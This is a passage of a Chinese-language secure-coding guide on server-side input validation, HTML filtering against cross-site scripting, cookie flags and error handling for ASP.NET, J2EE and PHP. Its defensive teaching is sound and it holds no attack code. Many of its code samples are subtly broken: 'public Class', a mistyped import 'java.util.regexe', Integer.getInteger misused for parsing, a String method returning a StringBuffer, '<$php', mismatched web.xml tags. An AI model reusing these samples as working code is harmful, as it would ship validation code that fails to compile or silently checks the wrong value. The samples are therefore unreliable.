  protected void Button1_Click(object sender, EventArgs e)
  {
      // Read input
      String Input = TextBox1.Text;
      // Process input
      ...
      // Encode untrusted input and write output
      Response.Write("The input you gave was"+ 
          Microsoft.Security.Application.AntiXss.HtmlEncode(Input));
  }

J2EE

** 输入数据验证:虽然为了用户的方便,可以提供“客户端”层数据的数据验证,但必须使用 Servlet 在服务器层执行验证。 客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是将以上例程作为“验证器”实用程序类中的静态方法实现。以下部分描述验证器类的一个示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。


如何验证必需字段的示例:

  // Java example to validate required fields
  public Class Validator {
      ...
      public static boolean validateRequired(String value) {
          boolean isFieldValid = false;
          if (value != null && value.trim().length() > 0) {
              isFieldValid = true;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateRequired(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。 使用 Java 基本包装程序类,来检查是否可将字段值安全地转换为所需的基本数据类型。

验证数字字段(int 类型)的方式的示例:

  // Java example to validate that a field is an int number
  public Class Validator {
      ...
      public static boolean validateInt(String value) {
          boolean isFieldValid = false;
          try {
              Integer.parseInt(value);
              isFieldValid = true;
          } catch (Exception e) {
              isFieldValid = false;
          }
          return isFieldValid;
      }
      ...
  }
  ...
  // check if the HTTP request parameter is of type int
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // fieldValue is valid, continue processing request
      ...
  }

好的做法是将所有 HTTP 请求参数转换为其各自的数据类型。例如,开发者应将请求参数的“integerValue”存储在请求属性中,并按以下示例所示来使用:

  // Example to convert the HTTP request parameter to a primitive wrapper data type
  // and store this value in a request attribute for further processing
  String fieldValue = request.getParameter("fieldName");
  if (Validator.validateInt(fieldValue)) {
      // convert fieldValue to an Integer
      Integer integerValue = Integer.getInteger(fieldValue);
      // store integerValue in a request attribute
      request.setAttribute("fieldName", integerValue);
  }
  ...
  // Use the request attribute for further processing
  Integer integerValue = (Integer)request.getAttribute("fieldName");
  ...

应用程序应处理的主要 Java 数据类型:

- Byte

- Short

- Integer

- Long

- Float

- Double

- Date


[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。以下示例验证 userName 字段的长度是否在 8 至 20 个字符之间:

  // Example to validate the field length
  public Class Validator {
      ...
      public static boolean validateLength(String value, int minLength, int maxLength) {
          String validatedValue = value;
          if (!validateRequired(value)) {
              validatedValue = "";
          }
          return (validatedValue.length() >= minLength &&
                      validatedValue.length() <= maxLength);
      }
      ...
  }
  ...
  String userName = request.getParameter("userName");
  if (Validator.validateRequired(userName)) {
      if (Validator.validateLength(userName, 8, 20)) {
          // userName is valid, continue further processing
          ...
      }
  }

[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

以下示例验证输入 numberOfChoices 是否在 10 至 20 之间:

  // Example to validate the field range
  public Class Validator {
      ...
      public static boolean validateRange(int value, int min, int max) {
          return (value >= min && value <= max);
      }
      ...
  }
  ...
  String fieldValue = request.getParameter("numberOfChoices");
  if (Validator.validateRequired(fieldValue)) {
      if (Validator.validateInt(fieldValue)) {
          int numberOfChoices = Integer.parseInt(fieldValue);
          if (Validator.validateRange(numberOfChoices, 10, 20)) {
              // numberOfChoices is valid, continue processing request
              ...
          }
      }
  }

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。以下示例验证用户针对允许的选项列表进行的选择:

  // Example to validate user selection against a list of options
  public Class Validator {
      ...
      public static boolean validateOption(Object[] options, Object value) {
          boolean isValidValue = false;
          try {
              List list = Arrays.asList(options);
              if (list != null) {
                  isValidValue = list.contains(value);
              }
          } catch (Exception e) {
          }
          return isValidValue;
      }
      ...
  }
  ...
  // Allowed options
  String[] options = {"option1", "option2", "option3");
  // Verify that the user selection is one of the allowed options
  String userSelection = request.getParameter("userSelection");
  if (Validator.validateOption(options, userSelection)) {
      // valid user selection, continue processing request
      ...
  }

[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]*$


Java 1.3 或更早的版本不包含任何正则表达式包。建议将“Apache 正则表达式包”(请参阅以下“资源”)与 Java 1.3 一起使用,以解决该缺乏支持的问题。执行正则表达式验证的示例:

  // Example to validate that a given value matches a specified pattern
  // using the Apache regular expression package
  import org.apache.regexp.RE;
  import org.apache.regexp.RESyntaxException;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
               RE r = new RE(expression);
               match = r.match(value);             
          }
          return match;
      }
      ...
  }
  ...
  // Verify that the userName request parameter is alphanumeric
  String userName = request.getParameter("userName");
  if (Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      // userName is valid, continue processing request
      ...
  }

Java 1.4 引进了一种新的正则表达式包(java.util.regex)。以下是使用新的 Java 1.4 正则表达式包的 Validator.matchPattern 修订版:

  // Example to validate that a given value matches a specified pattern
  // using the Java 1.4 regular expression package
  import java.util.regex.Pattern;
  import java.util.regexe.Matcher;
  public Class Validator {
      ...
      public static boolean matchPattern(String value, String expression) {
          boolean match = false;
          if (validateRequired(expression)) {
              match = Pattern.matches(expression, value);
          }
          return match;
      }
      ...
  }

[7] cookie 值使用 javax.servlet.http.Cookie 对象来验证 cookie 值。适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。


验证必需 cookie 值的示例:

  // Example to validate a required cookie value
  // First retrieve all available cookies submitted in the HTTP request
  Cookie[] cookies = request.getCookies();
  if (cookies != null) {
      // find the "user" cookie
      for (int i=0; i<cookies.length; ++i) {
          if (cookies[i].getName().equals("user")) {
              // validate the cookie value
              if (Validator.validateRequired(cookies[i].getValue()) {
                  // valid cookie value, continue processing request
                  ...
              }
          }    
      }
  }

[8] HTTP 响应

[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,请通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


以下示例通过将敏感字符转换为其对应的字符实体来过滤指定字符串:

  // Example to filter sensitive data to prevent cross-site scripting
  public Class Validator {
      ...
      public static String filter(String value) {
          if (value == null) {
              return null;
          }        
          StringBuffer result = new StringBuffer(value.length());
          for (int i=0; i<value.length(); ++i) {
              switch (value.charAt(i)) {
              case '<':
                  result.append("&lt;");
                  break;
              case '>': 
                  result.append("&gt;");
                  break;
              case '"': 
                  result.append("&quot;");
                  break;
              case '\'': 
                  result.append("&#39;");
                  break;
              case '%': 
                  result.append("&#37;");
                  break;
              case ';': 
                  result.append("&#59;");
                  break;
              case '(': 
                  result.append("&#40;");
                  break;
              case ')': 
                  result.append("&#41;");
                  break;
              case '&': 
                  result.append("&amp;");
                  break;
              case '+':
                  result.append("&#43;");
                  break;
              default:
                  result.append(value.charAt(i));
                  break;
          }        
          return result;
      }
      ...
  }
  ...
  // Filter the HTTP response using Validator.filter
  PrintWriter out = response.getWriter();
  // set output response
  out.write(Validator.filter(response));
  out.close();

Java Servlet API 2.3 引进了过滤器,它支持拦截和转换 HTTP 请求或响应。


以下示例使用 Validator.filter 来用“Servlet 过滤器”清理响应:

  // Example to filter all sensitive characters in the HTTP response using a Java Filter.
  // This example is for illustration purposes since it will filter all content in the response, including HTML tags!
  public class SensitiveCharsFilter implements Filter {
      ...
      public void doFilter(ServletRequest request,
                      ServletResponse response,
                      FilterChain chain)
              throws IOException, ServletException {
  
          PrintWriter out = response.getWriter();
          ResponseWrapper wrapper = new ResponseWrapper((HttpServletResponse)response);
          chain.doFilter(request, wrapper);
  
          CharArrayWriter caw = new CharArrayWriter();
          caw.write(Validator.filter(wrapper.toString()));
          
          response.setContentType("text/html");
          response.setContentLength(caw.toString().length());
          out.write(caw.toString());
          out.close();
      }
      ...
      public class CharResponseWrapper extends HttpServletResponseWrapper {
          private CharArrayWriter output;
  
          public String toString() {
              return output.toString();
          }
      
          public CharResponseWrapper(HttpServletResponse response){
              super(response);
              output = new CharArrayWriter();
          }
          
          public PrintWriter getWriter(){
              return new PrintWriter(output);
          }
      }
  } 
  
  }

[8-2] 保护 cookie

在 cookie 中存储敏感数据时,确保使用 Cookie.setSecure(布尔标志)在 HTTP 响应中设置 cookie 的安全标志,以指导浏览器使用安全协议(如 HTTPS 或 SSL)发送 cookie。

保护“用户”cookie 的示例:

  // Example to secure a cookie, i.e. instruct the browser to
  // send the cookie using a secure protocol
  Cookie cookie = new Cookie("user", "sensitive");
  cookie.setSecure(true);
  response.addCookie(cookie);

推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator 实施所有以上数据验证需求,是强大的框架。这些规则配置在定义表单字段的输入验证规则的 XML 文件中。在缺省情况下,Struts 支持在使用 Struts“bean:write”标记撰写的所有数据上,过滤 [8] HTTP 响应中输出的危险字符。可通过设置“filter=false”标志来禁用该过滤。

Struts 定义以下基本输入验证器,但也可定义定制的验证器:

required:如果字段包含空格以外的任何字符,便告成功。

mask:如果值与掩码属性给定的正则表达式相匹配,便告成功。

range:如果值在 min 和 max 属性给定的值的范围内((value >= min) & (value <= max)),便告成功。

maxLength:如果字段长度小于或等于 max 属性,便告成功。

minLength:如果字段长度大于或等于 min 属性,便告成功。

byte、short、integer、long、float、double:如果可将值转换为对应的基本类型,便告成功。

date:如果值代表有效日期,便告成功。可能会提供日期模式。

creditCard:如果值可以是有效的信用卡号码,便告成功。

e-mail:如果值可以是有效的电子邮件地址,便告成功。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件和验证输入的 Java API(JSR 127)。

JavaServer Faces API 实现以下基本验证器,但可定义定制的验证器:

validate_doublerange:在组件上注册 DoubleRangeValidator。

validate_length:在组件上注册 LengthValidator。

validate_longrange:在组件上注册 LongRangeValidator。

validate_required:在组件上注册 RequiredValidator。

validate_stringrange:在组件上注册 StringRangeValidator。

validator:在组件上注册定制的 Validator。

JavaServer Faces API 定义以下 UIInput 和 UIOutput 处理器(标记):

input_date:接受以 java.text.Date 实例格式化的 java.util.Date。

output_date:显示以 java.text.Date 实例格式化的 java.util.Date。

input_datetime:接受以 java.text.DateTime 实例格式化的 java.util.Date。

output_datetime:显示以 java.text.DateTime 实例格式化的 java.util.Date。

input_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。

output_number:显示以 java.text.NumberFormat 格式化的数字数据类型(java.lang.Number 或基本类型)。

input_text:接受单行文本字符串。

output_text:显示单行文本字符串。

input_time:接受以 java.text.DateFormat 时间实例格式化的 java.util.Date。

output_time:显示以 java.text.DateFormat 时间实例格式化的 java.util.Date。

input_hidden:允许页面作者在页面中包括隐藏变量。

input_secret:接受不含空格的单行文本,并在输入时,将其显示为一组星号。

input_textarea:接受多行文本。

output_errors:显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

output_label:将嵌套的组件显示为指定输入字段的标签。

output_message:显示本地化消息。


使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>


引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

** 错误处理:

许多 J2EE Web 应用程序体系结构都遵循“模型视图控制器(MVC)”模式。在该模式中,Servlet 扮演“控制器”的角色。Servlet 将应用程序处理委派给 EJB 会话 Bean(模型)之类的 JavaBean。然后,Servlet 再将请求转发给 JSP(视图),以呈现处理结果。Servlet 应检查所有的输入、输出、返回码、错误代码和已知的异常,以确保实际处理按预期进行。

数据验证可保护应用程序免遭恶意数据篡改,而有效的错误处理策略则是防止应用程序意外泄露内部错误消息(如异常堆栈跟踪)所不可或缺的。好的错误处理策略会处理以下项:

[1] 定义错误

[2] 报告错误

[3] 呈现错误

[4] 错误映射

[1] 定义错误

应避免在应用程序层(如 Servlet)中硬编码错误消息。 相反地,应用程序应该使用映射到已知应用程序故障的错误密钥。好的做法是定义错误密钥,且该错误密钥映射到 HTML 表单字段或其他 Bean 属性的验证规则。例如,如果需要“user_name”字段,其内容为字母数字,并且必须在数据库中是唯一的,那么就应定义以下错误密钥:

(a) ERROR_USERNAME_REQUIRED:该错误密钥用于显示消息,以通知用户需要“user_name”字段;

(b) ERROR_USERNAME_ALPHANUMERIC:该错误密钥用于显示消息,以通知用户“user_name”字段应该是字母数字;

(c) ERROR_USERNAME_DUPLICATE:该错误密钥用于显示消息,以通知用户“user_name”值在数据库中重复;

(d) ERROR_USERNAME_INVALID:该错误密钥用于显示一般消息,以通知用户“user_name”值无效;

好的做法是定义用于存储和报告应用程序错误的以下框架 Java 类:

- ErrorKeys:定义所有错误密钥

      // Example: ErrorKeys defining the following error keys:    
      //    - ERROR_USERNAME_REQUIRED
      //    - ERROR_USERNAME_ALPHANUMERIC
      //    - ERROR_USERNAME_DUPLICATE
      //    - ERROR_USERNAME_INVALID
      //    ...
      public Class ErrorKeys {
          public static final String ERROR_USERNAME_REQUIRED = "error.username.required";
          public static final String ERROR_USERNAME_ALPHANUMERIC = "error.username.alphanumeric";
          public static final String ERROR_USERNAME_DUPLICATE = "error.username.duplicate";
          public static final String ERROR_USERNAME_INVALID = "error.username.invalid";
          ...
      }

- Error:封装个别错误


      // Example: Error encapsulates an error key.
      // Error is serializable to support code executing in multiple JVMs.
      public Class Error implements Serializable {
          
          // Constructor given a specified error key
          public Error(String key) {
              this(key, null);
          }
          
          // Constructor given a specified error key and array of placeholder objects
          public Error(String key, Object[] values) {
              this.key = key;
              this.values = values;
          }
          
          // Returns the error key
          public String getKey() {
              return this.key;
          }
          
          // Returns the placeholder values
          public Object[] getValues() {
              return this.values;
          }
          
          private String key = null;
          private Object[] values = null;
      }    

- Errors:封装错误的集合


      // Example: Errors encapsulates the Error objects being reported to the presentation layer.
      // Errors are stored in a HashMap where the key is the bean property name and value is an
      // ArrayList of Error objects.
      public Class Errors implements Serializable {
      
          // Adds an Error object to the Collection of errors for the specified bean property.
          public void addError(String property, Error error) {
              ArrayList propertyErrors = (ArrayList)errors.get(property);
              if (propertyErrors == null) {
                  propertyErrors = new ArrayList();
                  errors.put(property, propertyErrors);
              }
              propertyErrors.put(error);            
          }
          
          // Returns true if there are any errors
          public boolean hasErrors() {
              return (errors.size > 0);
          }
          
          // Returns the Errors for the specified property
          public ArrayList getErrors(String property) {
              return (ArrayList)errors.get(property);
          }
  
          private HashMap errors = new HashMap();
      }

以下是使用上述框架类来处理“user_name”字段验证错误的示例:

  // Example to process validation errors of the "user_name" field.
  Errors errors = new Errors();
  String userName = request.getParameter("user_name");
  // (a) Required validation rule
  if (!Validator.validateRequired(userName)) {
      errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_REQUIRED));
  } // (b) Alpha-numeric validation rule
  else if (!Validator.matchPattern(userName, "^[a-zA-Z0-9]*$")) {
      errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_ALPHANUMERIC));
  }
  else
  {
      // (c) Duplicate check validation rule
      // We assume that there is an existing UserValidationEJB session bean that implements
      // a checkIfDuplicate() method to verify if the user already exists in the database.
      try {
          ...        
          if (UserValidationEJB.checkIfDuplicate(userName)) {
              errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE));
          }
      } catch (RemoteException e) {
          // log the error
          logger.error("Could not validate user for specified userName: " + userName);
          errors.addError("user_name", new Error(ErrorKeys.ERROR_USERNAME_DUPLICATE);
      }
  }
  // set the errors object in a request attribute called "errors"
  request.setAttribute("errors", errors);
  ...

[2] 报告错误

有两种方法可报告 web 层应用程序错误:

(a) Servlet 错误机制

(b) JSP 错误机制


[2-a] Servlet 错误机制

Servlet 可通过以下方式报告错误:

- 转发给输入 JSP(已将错误存储在请求属性中),或

- 使用 HTTP 错误代码参数来调用 response.sendError,或

- 抛出异常


好的做法是处理所有已知应用程序错误(如 [1] 部分所述),将这些错误存储在请求属性中,然后转发给输入 JSP。输入 JSP 应显示错误消息,并提示用户重新输入数据。以下示例阐明转发给输入 JSP(userInput.jsp)的方式:

  // Example to forward to the userInput.jsp following user validation errors
  RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
  if (rd != null) {
      rd.forward(request, response);
  }

如果 Servlet 无法转发给已知的 JSP 页面,那么第二个选项是使用 response.sendError 方法,将 HttpServletResponse.SC_INTERNAL_SERVER_ERROR(状态码 500)作为参数,来报告错误。 请参阅 javax.servlet.http.HttpServletResponse 的 Javadoc,以获取有关各种 HTTP 状态码的更多详细信息。返回 HTTP 错误的示例:

  // Example to return a HTTP error code
  RequestDispatcher rd = getServletContext().getRequestDispatcher("/user/userInput.jsp");
  if (rd == null) {
      // messages is a resource bundle with all message keys and values
      response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR,
                              messages.getMessage(ErrorKeys.ERROR_USERNAME_INVALID));
  }

作为最后的手段,Servlet 可以抛出异常,且该异常必须是以下其中一类的子类:

- RuntimeException

- ServletException

- IOException


[2-b] JSP 错误机制

JSP 页面通过定义 errorPage 伪指令来提供机制,以处理运行时异常,如以下示例所示:

      <%@ page errorPage="/errors/userValidation.jsp" %>

未捕获的 JSP 异常被转发给指定的 errorPage,并且原始异常设置在名称为 javax.servlet.jsp.jspException 的请求参数中。错误页面必须包括 isErrorPage 伪指令:

      <%@ page isErrorPage="true" %>

isErrorPage 伪指令导致“exception”变量初始化为所抛出的异常对象。

[3] 呈现错误

J2SE Internationalization API 提供使应用程序资源外部化以及将消息格式化的实用程序类,其中包括:

(a) 资源束

(b) 消息格式化

[3-a] 资源束

资源束通过将本地化数据从使用该数据的源代码中分离来支持国际化。每一资源束都会为特定的语言环境存储键/值对的映射。

java.util.PropertyResourceBundle 将内容存储在外部属性文件中,对其进行使用或扩展都很常见,如以下示例所示:

  ################################################
  # ErrorMessages.properties
  ################################################
  # required user name error message
  error.username.required=User name field is required
  
  # invalid user name format
  error.username.alphanumeric=User name must be alphanumeric
  
  # duplicate user name error message
  error.username.duplicate=User name {0} already exists, please choose another one
  
  ...

可定义多种资源,以支持不同的语言环境(因此名为资源束)。例如,可定义 ErrorMessages_fr.properties 以支持该束系列的法语成员。如果请求的语言环境的资源成员不存在,那么会使用缺省成员。在以上示例中,缺省资源是 ErrorMessages.properties。应用程序(JSP 或 Servlet)会根据用户的语言环境从适当的资源检索内容。

[3-b] 消息格式化

J2SE 标准类 java.util.MessageFormat 提供使用替换占位符来创建消息的常规方法。MessageFormat 对象包含嵌入了格式说明符的模式字符串,如下所示:

  // Example to show how to format a message using placeholder parameters
  String pattern = "User name {0} already exists, please choose another one";
  String userName = request.getParameter("user_name");
  Object[] args = new Object[1];
  args[0] = userName;
  String message = MessageFormat.format(pattern, args);

以下是使用 ResourceBundle 和 MessageFormat 来呈现错误消息的更加全面的示例:

  // Example to render an error message from a localized ErrorMessages resource (properties file)
  // Utility class to retrieve locale-specific error messages
  public Class ErrorMessageResource {
      
      // Returns the error message for the specified error key in the environment locale
      public String getErrorMessage(String errorKey) {
          return getErrorMessage(errorKey, defaultLocale);
      }
      
      // Returns the error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Locale locale) {
          return getErrorMessage(errorKey, null, locale);
      }
      
      // Returns a formatted error message for the specified error key in the specified locale
      public String getErrorMessage(String errorKey, Object[] args, Locale locale) {    
          // Get localized ErrorMessageResource
          ResourceBundle errorMessageResource = ResourceBundle.getBundle("ErrorMessages", locale);
          // Get localized error message
          String errorMessage = errorMessageResource.getString(errorKey);
          if (args != null) {
              // Format the message using the specified placeholders args
              return MessageFormat.format(errorMessage, args);
          } else {
              return errorMessage;
          }
      }
      
      // default environment locale
      private Locale defaultLocale = Locale.getDefaultLocale();
  }
  ...
  // Get the user's locale
  Locale userLocale = request.getLocale();
  // Check if there were any validation errors
  Errors errors = (Errors)request.getAttribute("errors");
  if (errors != null && errors.hasErrors()) {
      // iterate through errors and output error messages corresponding to the "user_name" property
      ArrayList userNameErrors = errors.getErrors("user_name");
      ListIterator iterator = userNameErrors.iterator();
      while (iterator.hasNext()) {
          // Get the next error object
          Error error = (Error)iterator.next();
          String errorMessage = ErrorMessageResource.getErrorMessage(error.getKey(), userLocale);
          output.write(errorMessage + "\r\n");
      }
  }

建议定义定制 JSP 标记(如 displayErrors),以迭代处理并呈现错误消息,如以上示例所示。


[4] 错误映射

通常情况下,“Servlet 容器”会返回与响应状态码或异常相对应的缺省错误页面。可以使用定制错误页面来指定状态码或异常与 Web 资源之间的映射。好的做法是开发不会泄露内部错误状态的静态错误页面(缺省情况下,大部分 Servlet 容器都会报告内部错误消息)。该映射配置在“Web 部署描述符(web.xml)”中,如以下示例所指定:

  <!-- Mapping of HTTP error codes and application exceptions to error pages -->
  <error-page>
    <exception-type>UserValidationException</exception-type>
    <location>/errors/validationError.html</error-page>
  </error-page>
  <error-page>
    <error-code>500</exception-type>
    <location>/errors/internalError.html</error-page>
  </error-page>
  <error-page>
  ...
  </error-page>
  ...


推荐使用的 JAVA 工具用于服务器端验证的两个主要 Java 框架是:

[1] Jakarta Commons Validator(与 Struts 1.1 集成)Jakarta Commons Validator是 Java 框架,定义如上所述的错误处理机制。验证规则配置在 XML 文件中,该文件定义了表单字段的输入验证规则以及对应的验证错误密钥。Struts 提供国际化支持以使用资源束和消息格式化来构建本地化应用程序。

使用“Struts 验证器”来验证 loginForm 的 userName 字段的示例:

  <form-validation>
      <global>
          ...
          <validator name="required"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateRequired"
              msg="errors.required">
          </validator>
          <validator name="mask"
              classname="org.apache.struts.validator.FieldChecks"
              method="validateMask"
              msg="errors.invalid">
          </validator>
          ...
      </global>
      <formset>
          <form name="loginForm">
              <!-- userName is required and is alpha-numeric case insensitive -->
              <field property="userName" depends="required,mask">
                  <!-- message resource key to display if validation fails -->
                  <msg name="mask" key="login.userName.maskmsg"/>
                  <arg0 key="login.userName.displayname"/>
                  <var>
                      <var-name>mask</var-name>
                      <var-value>^[a-zA-Z0-9]*$</var-value>
                  </var>
              </field>
          ...
          </form>
          ...
      </formset>
  </form-validation>

Struts JSP 标记库定义了有条件地显示一组累计错误消息的“errors”标记,如以下示例所示:

  <%@ page language="java" %>
  <%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
  <%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
  <html:html>
  <head>
  <body>
      <html:form action="/logon.do">    
      <table border="0" width="100%">
      <tr>
          <th align="right">
              <html:errors property="username"/>
              <bean:message key="prompt.username"/>
          </th>
          <td align="left">
              <html:text property="username" size="16"/>
          </td>
      </tr>
      <tr>
      <td align="right">
          <html:submit><bean:message key="button.submit"/></html:submit>
      </td>
      <td align="right">
          <html:reset><bean:message key="button.reset"/></html:reset>
      </td>
      </tr>
      </table>
      </html:form>
  </body>
  </html:html>

[2] JavaServer Faces 技术

“JavaServer Faces 技术”是一组代表 UI 组件、管理组件状态、处理事件、验证输入和支持国际化的 Java API(JSR 127)。


JavaServer Faces API 定义“output_errors”UIOutput 处理器,该处理器显示整个页面的错误消息,或与指定的客户端标识相关联的错误消息。

使用 JavaServer Faces 来验证 loginForm 的 userName 字段的示例:

  <%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
  <%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>
  ...
  <jsp:useBean id="UserBean"
      class="myApplication.UserBean" scope="session" />
  <f:use_faces>
    <h:form formName="loginForm" >
      <h:input_text id="userName" size="20" modelReference="UserBean.userName">
          <f:validate_required/>
          <f:validate_length minimum="8" maximum="20"/>    
      </h:input_text>
      <!-- display errors if present -->
      <h:output_errors id="loginErrors" clientId="userName"/>
      <h:command_button id="submit" label="Submit" commandName="submit" /><p>
    </h:form>
  </f:use_faces>

引用

Java API 1.3 -

http://java.sun.com/j2se/1.3/docs/api/

Java API 1.4 -

http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -

http://java.sun.com/products/servlet/2.3/javadoc/

Java 正则表达式包 -

http://jakarta.apache.org/regexp/

Jakarta 验证器 -

http://jakarta.apache.org/commons/validator/

JavaServer Faces 技术 -

http://java.sun.com/j2ee/javaserverfaces/

PHP

** 输入数据验证:虽然为方便用户而在客户端层上提供数据验证,但仍必须始终在服务器层上执行数据验证。客户端验证本身就不安全,因为这些验证可轻易绕过,例如,通过禁用 Javascript。

一份好的设计通常需要 Web 应用程序框架,以提供服务器端实用程序例程,从而验证以下内容:[1] 必需字段[2] 字段数据类型(缺省情况下,所有 HTTP 请求参数都是“字符串”)[3] 字段长度[4] 字段范围[5] 字段选项[6] 字段模式[7] cookie 值[8] HTTP 响应好的做法是实现一个或多个验证每个应用程序参数的函数。以下部分描述一些检查的示例。

[1] 必需字段“始终”检查字段不为空,并且其长度要大于零,不包括行距和后面的空格。如何验证必需字段的示例:

  // PHP example to validate required fields
  function validateRequired($input) {
      ...
      $pass = false;
      if (strlen(trim($input))>0){
          $pass = true;
      }
      return $pass;
      ...
  }
  ...
  if (validateRequired($fieldName)) {
      // fieldName is valid, continue processing request
      ...
  }


[2] 输入的 Web 应用程序中的字段数据类型和输入参数欠佳。例如,所有 HTTP 请求参数或 cookie 值的类型都是“字符串”。开发者负责验证输入的数据类型是否正确。[3] 字段长度“始终”确保输入参数(HTTP 请求参数或 cookie 值)有最小长度和/或最大长度的限制。[4] 字段范围

始终确保输入参数是在由功能需求定义的范围内。

[5] 字段选项 Web 应用程序通常会为用户显示一组可供选择的选项(例如,使用 SELECT HTML 标记),但不能执行服务器端验证以确保选定的值是其中一个允许的选项。请记住,恶意用户能够轻易修改任何选项值。始终针对由功能需求定义的受允许的选项来验证选定的用户值。[6] 字段模式

始终检查用户输入与由功能需求定义的模式是否匹配。例如,如果 userName 字段应仅允许字母数字字符,且不区分大小写,那么请使用以下正则表达式:^[a-zA-Z0-9]+$


[7] cookie 值

适用于 cookie 值的相同的验证规则(如上所述)取决于应用程序需求(如验证必需值、验证长度等)。

[8] HTTP 响应[8-1] 过滤用户输入要保护应用程序免遭跨站点脚本编制的攻击,开发者应通过将敏感字符转换为其对应的字符实体来清理 HTML。这些是 HTML 敏感字符:< > " ' % ; ) ( & +


PHP 包含一些自动化清理实用程序函数,如 htmlentities():

  $input = htmlentities($input, ENT_QUOTES, 'UTF-8');

此外,为了避免“跨站点脚本编制”的 UTF-7 变体,您应该显式定义响应的 Content-Type 头,例如:

  <?php
  
  header('Content-Type: text/html; charset=UTF-8');
  
  ?>

[8-2] 保护 cookie

在 cookie 中存储敏感数据且通过 SSL 来传输时,请确保先在 HTTP 响应中设置 cookie 的安全标志。这将会指示浏览器仅通过 SSL 连接来使用该 cookie。

为了保护 cookie,您可以使用以下代码示例:

  <$php
  
      $value = "some_value";
      $time = time()+3600;
      $path = "/application/";
      $domain = ".example.com";
      $secure = 1;
  
      setcookie("CookieName", $value, $time, $path, $domain, $secure, TRUE);
  ?>
  

此外,我们建议您使用 HttpOnly 标志。当 HttpOnly 标志设置为 TRUE 时,将只能通过 HTTP 协议来访问 cookie。这意味着无法用脚本语言(如 JavaScript)来访问 cookie。该设置可有效地帮助减少通过 XSS 攻击盗用身份的情况(虽然并非所有浏览器都支持该设置)。

在 PHP 5.2.0 中添加了 HttpOnly 标志。

